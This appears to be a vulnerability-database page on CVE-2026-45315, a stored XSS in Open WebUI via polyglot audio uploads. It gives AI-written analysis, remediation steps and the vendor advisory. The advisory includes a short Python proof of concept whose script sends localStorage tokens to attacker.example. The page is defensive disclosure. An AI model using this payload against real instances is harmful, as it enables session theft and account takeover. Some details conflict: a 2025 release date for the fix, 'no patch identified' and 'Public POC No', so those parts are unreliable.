Skip to main content

Open WebUI CVE-2026-45315

HIGH
Cross-site Scripting (XSS) (CWE-79)
2026-05-14 https://github.com/open-webui/open-webui GHSA-m8f9-9whg-f4xr
8.7
CVSS 3.1 · Vendor: https://github.com/open-webui/open-webui
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Obtain verified user account
  2. Delivery
    Craft WAV+HTML polyglot file
  3. Exploit
    Upload to /api/v1/audio/transcriptions with .html extension
  4. Install
    Social engineer victim click on /cache/<uuid>.html URL
  5. C2
    Browser executes JavaScript in Open WebUI origin
  6. Execute
    Exfiltrate localStorage JWT to attacker server
  7. Impact
    Impersonate victim session

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the attacker to hold a verified user account on the target Open WebUI instance with the chat.stt (speech-to-text) permission, which defaults to enabled (USER_PERMISSIONS_CHAT_STT=True in config.py line 1482) for all authenticated users in out-of-box deployments. The attack is limited to instances where administrators have not explicitly revoked this permission. Successful exploitation additionally requires social engineering to convince a second authenticated user to click the attacker-supplied cache URL, introducing the UI:R (user interaction required) constraint reflected in the CVSS vector. The victim user must have an active session with a valid JWT at the time of clicking the malicious link. Exploitation impact scales with the victim's privilege level - attacking an administrator account yields significantly higher impact than a standard user due to Open WebUI's role-based access controls. The vulnerability affects default configurations with no special deployment prerequisites; both internet-facing and internal network deployments are exploitable if the attacker can obtain initial authenticated access. Network access (AV:N) enables remote exploitation, but the requirement for prior authentication (PR:L) and the social engineering step limit automated mass exploitation, explaining the absence from CISA KEV despite public exploit code availability.

Impact

Real-world risk is HIGH despite requiring low-privilege authentication (PR:L) and user interaction (UI:R), because multiple factors align to create a critical attack path. CVSS 8.7 accurately reflects changed scope (S:C) - the XSS executes in victim contexts beyond the attacker's session - and high confidentiality/integrity impact with no availability loss. The default-enabled USER_PERMISSIONS_CHAT_STT permission means any verified user becomes a potential insider threat without administrator intervention. EPSS data not provided, but exploit complexity is LOW (AC:L): the 15-line Python proof-of-concept demonstrates trivial weaponization, and the GitHub advisory includes video confirmation of end-to-end exploitation. The attack chain (upload polyglot → social engineering click → steal localStorage JWT → impersonate admin) requires minimal skill and yields immediate privilege escalation. Scope change is significant because admin token theft theoretically enables server-side code execution through Open WebUI's plugin mechanism, though the reporter scoped that as secondary impact. No CISA KEV listing indicates this has not been observed in widespread campaigns, likely because Open WebUI deployments are often internal/self-hosted rather than internet-exposed SaaS. However, the combination of default-vulnerable configuration, public exploit code with video PoC, and session-takeover impact makes this a priority patch for all Open WebUI operators. The vendor responded rapidly with version 0.9.3 release, suggesting they assessed real-world risk as severe.

Exploit ScenarioDerived

An authenticated attacker with a standard verified user account (default chat.stt permission) crafts a polyglot file containing valid WAV audio headers followed by HTML/JavaScript payload, uploads it to /api/v1/audio/transcriptions with filename pwn.html, and the server stores it as <uuid>.html under the web-accessible cache directory. The attacker then social-engineers any other authenticated user (via chat message, email, or shared document) to click the resulting URL https://victim-instance/cache/audio/transcriptions/<uuid>.html. The victim's browser receives the response with Content-Type: text/html due to Starlette's extension-based MIME detection, executes the embedded JavaScript in the Open WebUI origin, and the script exfiltrates localStorage.token to an attacker-controlled server via fetch(). The attacker uses the stolen JWT to impersonate the victim; if the victim is an administrator, the attacker gains full administrative access including the ability to modify system settings, access all user data, and potentially achieve server-side code execution through the plugin management interface. The proof-of-concept demonstrates this attack chain in under 15 lines of Python with video confirmation.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 14, 2026

Stored cross-site scripting (XSS) in Open WebUI ≤0.9.2 allows authenticated users with default speech-to-text permissions to upload polyglot WAV+HTML files through the audio transcription endpoint, achieving code execution in victim browsers and enabling full account takeover including administrator sessions. The vulnerability chains insecure file extension handling with unrestricted Content-Type serving and non-HttpOnly JWT storage to weaponize a single-click attack. Publicly available exploit code exists with video demonstration; no active exploitation confirmed by CISA KEV at time of analysis. CVSS 8.7 (High) reflects changed scope (S:C) and user interaction requirement, but real-world risk is elevated because the vulnerable permission defaults to enabled and the attack yields immediate admin-level access in typical deployments.

RemediationAI

Upgrade immediately to Open WebUI version 0.9.3 or later, released 2025-01-15 and available via pip (pip install --upgrade open-webui) or Docker (ghcr.io/open-webui/open-webui:v0.9.3), per the vendor advisory at https://github.com/open-webui/open-webui/security/advisories/GHSA-m8f9-9whg-f4xr. The fix version 0.9.3 is confirmed in the release notes at https://github.com/open-webui/open-webui/releases/tag/v0.9.3. If immediate upgrade is not possible, disable the vulnerable feature by setting USER_PERMISSIONS_CHAT_STT=False in the environment configuration, which revokes audio transcription upload rights from non-administrator users; this workaround eliminates the attack surface but disables legitimate speech-to-text functionality for all non-admin users, impacting usability in voice-driven workflows. As a defense-in-depth measure for environments that must preserve STT functionality pre-patch, implement a reverse proxy (nginx/Traefik) rule to block direct access to /cache/audio/transcriptions/* paths and serve cached audio files only through an intermediary that forces Content-Disposition: attachment and X-Content-Type-Options: nosniff headers, though this introduces latency and complexity. Do not rely solely on web application firewall (WAF) rules to block polyglot files, as WAV+HTML polyglots can evade signature-based detection. After patching, rotate all user sessions and investigate access logs for suspicious .html file uploads to /api/v1/audio/transcriptions between deployment date and patch application, as any uploaded malicious files will persist in CACHE_DIR until manually removed.

Affected Packages

pypi open-webui fix: 0.9.3

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Open WebUI is a Python-based web interface for large language model interactions, built on FastAPI/Starlette. The vulnerability exists in the audio transcription feature (routers/audio.py), which accepts file uploads for speech-to-text processing. The code extracts the file extension from the user-supplied filename via rsplit('.', 1)[-1] without validation, saves the file as <uuid>.<attacker_controlled_ext> under CACHE_DIR/audio/transcriptions/, then serves it through a generic /cache/{path} route using Starlette's FileResponse. FileResponse automatically derives Content-Type from the on-disk file extension with no Content-Disposition header, allowing an .html extension to return text/html. The MIME validation (strict_match_mime_type in utils/misc.py) only checks the upload request's Content-Type header against ['audio/*', 'video/webm'], not the actual file content, enabling polyglot files that are valid WAV audio plus HTML/JavaScript. This is a classic CWE-79 (Improper Neutralization of Input During Web Page Generation) compounded by insecure direct object reference and Content-Type confusion. The authentication layer stores JWTs in localStorage.token (JavaScript-accessible) and sets OAuth cookies with httponly=False, violating secure session management principles and amplifying XSS impact to full session hijacking.

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/open-webui/open-webui) PRIMARY 8.7 HIGH
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

Primary rating from Vendor (https://github.com/open-webui/open-webui) · only source for this CVE.

CVSS VectorVendor: https://github.com/open-webui/open-webui

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

DescriptionCVE.org

Summary

The audio transcription upload endpoint takes the file extension from the user-supplied filename and saves the file under CACHE_DIR/audio/transcriptions/<uuid>.<ext>. The /cache/{path} route serves these files via FileResponse, which sets Content-Type from the on-disk extension and emits no Content-Disposition. A verified user with the default-on chat.stt permission can upload a polyglot WAV+HTML file named pwn.html and trick any other user into opening the resulting URL - the response comes back as text/html and any embedded <script> runs in the Open WebUI origin.

Details

Verified on main @ 8dae237a (v0.9.2):

  • backend/open_webui/routers/audio.py:1244-1249 - ext = safe_name.rsplit('.', 1)[-1] from user-supplied filename, then filename = f'{id}.{ext}'. No

allowlist, no cross-check against file.content_type.

  • backend/open_webui/main.py:2768-2779 - /cache/{path:path} returns FileResponse(file_path). Starlette derives Content-Type from the filename extension

and sets no Content-Disposition.

  • backend/open_webui/utils/misc.py:889-921 - strict_match_mime_type defaults to ['audio/*', 'video/webm'], so Content-Type: audio/wav on the upload

passes regardless of the actual body.

  • backend/open_webui/config.py:1482 - USER_PERMISSIONS_CHAT_STT defaults to True.
  • src/routes/+layout.svelte (lines 123, 142, 177, 528, 638, …) - JWT lives in localStorage.token, reachable from JS in the origin.
  • backend/open_webui/utils/oauth.py:1736-1739 - OAuth token cookie set with httponly=False.

PoC

Tested end-to-end against a harness re-exporting the exact handlers from audio.py and main.py. The cached response was Content-Type: text/html; charset=utf-8 with no Content-Disposition.

python
  import struct, httpx

  data = b'\x80' * 44100
  wav  = struct.pack('<4sI4s4sIHHIIHH4sI',
          b'RIFF', 36 + len(data), b'WAVE',
          b'fmt ', 16, 1, 1, 44100, 44100, 1, 8,
          b'data', len(data)) + data
  payload = wav + b'<script>alert(document.domain);fetch("https://attacker.example/x?t="+localStorage.token)</script>'


  r = httpx.post(
      'https://VICTIM/api/v1/audio/transcriptions',
      headers={'Authorization': f'Bearer {ATTACKER_JWT}'},
      files={'file': ('pwn.html', payload, 'audio/wav')},
  )
  fn = r.json()['filename']
# '<uuid>.html'
 #Send victim to: https://VICTIM/cache/audio/transcriptions/<fn>

https://github.com/user-attachments/assets/c263bfcd-b923-4891-9c2f-a01c1faa6408

Impact

Authenticated stored XSS in the Open WebUI origin, exploitable by any verified user with the default-on chat.stt permission. Triggered by a single click from any other authenticated user. Leads to session-token theft (JWT lives in localStorage and the OAuth cookie is non-HttpOnly), enabling full account takeover of any user - including admins. With an admin token, in-process code execution on the server is theoretically reachable through Open WebUI's existing admin-only plugin mechanism, but that path is out of scope for this report.

Affected: <= 0.9.2.

Suggested fixes (any one breaks the chain): derive the saved extension from the validated MIME against a fixed audio allowlist; on /cache, force Content-Disposition: attachment and X-Content-Type-Options: nosniff (or restrict served extensions); move JWT to an HttpOnly; SameSite=Lax cookie.

Workaround: set USER_PERMISSIONS_CHAT_STT=False to revoke the upload right from non-admins.

Executive ViewAI

Why It Matters

Open WebUI versions 0.9.2 and earlier contain a stored cross-site scripting vulnerability that allows authenticated users to upload malicious files through the audio transcription feature, enabling account takeover including administrator access. Organizations using Open WebUI are at immediate risk of full system compromise, as the vulnerable feature is enabled by default and requires only standard user permissions to exploit.

Business Impact: Severe
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Disable audio transcription feature in Open WebUI settings; (2) Restrict file upload permissions to administrator accounts only; (3) Implement network-level access controls to limit Open WebUI exposure; (4) Monitor for suspicious file uploads and WAV files in transcription logs; (5) Audit and rotate JWT tokens; (6) Implement Content Security Policy headers if deployable at application level.

Threat Intelligence Overview

EPSS Score
0.0%
Top 96% exploitable
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High
NVD CVE.org EPSS Vulnrichment GHSA GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
Very High
Technical Impact
Total

Priority Score

44
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

Affected Products (CPE)CVE.org

pkg:pip/open-webui

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy